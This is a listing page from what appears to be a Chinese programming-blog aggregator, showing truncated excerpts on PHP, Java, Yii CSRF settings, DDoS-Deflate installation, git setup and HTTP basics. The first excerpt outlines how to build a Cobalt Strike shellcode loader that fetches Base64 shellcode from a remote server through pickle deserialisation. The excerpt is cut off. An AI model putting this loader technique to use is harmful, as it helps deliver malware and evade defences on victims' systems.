使用CS里面生成payload，选择python 勾选64位。 将shellcode代码编码成BASE64 放在远程服务器上 反序列化代码 import pickle import base64 shellcode = """ import ctypes,urllib.request,codecs, ...
分类：
编程语言 时间：
2021-01-12 11:01:03
阅读次数：
0
<?php header("content-type:text/html;charset=utf-8"); // $a = 1; // echo $GLOBALS; // echo $_SERVER; // echo $_ENV; // var_dump($_REQUEST); var_dump($ ...
分类：
Web程序 时间：
2021-01-12 10:31:53
阅读次数：
0
public function add() { $data = input('post.'); $img = request()->file('img_banner'); $info = $img->move("./static/uploads/lunbo"); if ($info) { // 输出 ...
分类：
Web程序 时间：
2021-01-12 10:30:06
阅读次数：
0
代码 @Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // 获取要下载的文件的绝对路径 St ...
分类：
其他好文 时间：
2021-01-11 11:22:30
阅读次数：
0
(D)DoS-Deflate是一款免费的用来防御和减轻DDoS攻击。它通过netstat监测跟踪创建大量网络连接的IP地址，在检测到某个结点超过预设的限制时，该程序会通过APF或iptables禁止或阻挡这些IP. 安装 wget http://www.inetbase.com/scripts/dd ...
分类：
其他好文 时间：
2021-01-11 11:15:56
阅读次数：
0
在Yii框架中，为了防止csrf攻击，封装了CSRF令牌验证。 只需要在主配置文件中进行简单的配置，就可以实现CSRF的验证。假设配置如下： $config = [ 'components' => [ 'request' => [ 'enableCsrfCookie' => false, //设置令 ...
分类：
其他好文 时间：
2021-01-11 11:12:33
阅读次数：
0
最近项目做完，对一个接口应该压测的时候，测试人员反馈，并发从1加到10的时候，tps（每秒钟request/事务 数量）会遇到越来慢，并且内存使用率很高。 看了具体的代码，也就是很简单的crud的操作，确认是有一些代码对数据库的查询有冗余，查询了两次。怀着试试的态度把代码修改成了查询一次。又试了一次 ...
分类：
其他好文 时间：
2021-01-11 10:46:39
阅读次数：
0
Stream stream = HttpContext.Request.Body; byte[] buffer = new byte[HttpContext.Request.ContentLength.Value]; await stream.ReadAsync(buffer, 0, buffer. ...
分类：
其他好文 时间：
2021-01-08 10:49:35
阅读次数：
0
centos7 安装git 1、简单直接： yum install git 命令安装 （卸载Git：yum remove git） 存在问题：版本太旧（因此不建议这样） 2、wget git源码地址 （在线下载，推荐！！！） 方法： 2.1先访问：git官网：https://github.com/g ...
分类：
其他好文 时间：
2021-01-07 12:40:50
阅读次数：
0
以百度为例：http的请求和响应 request （请求） 一， Request URL: <请求地址> https://www.baidu.com/ Request Method: <请求方法> GET Status Code: <状态码> 200 OK Remote（远程）Address: <地 ...
分类：
Web程序 时间：
2021-01-07 12:37:07
阅读次数：
0
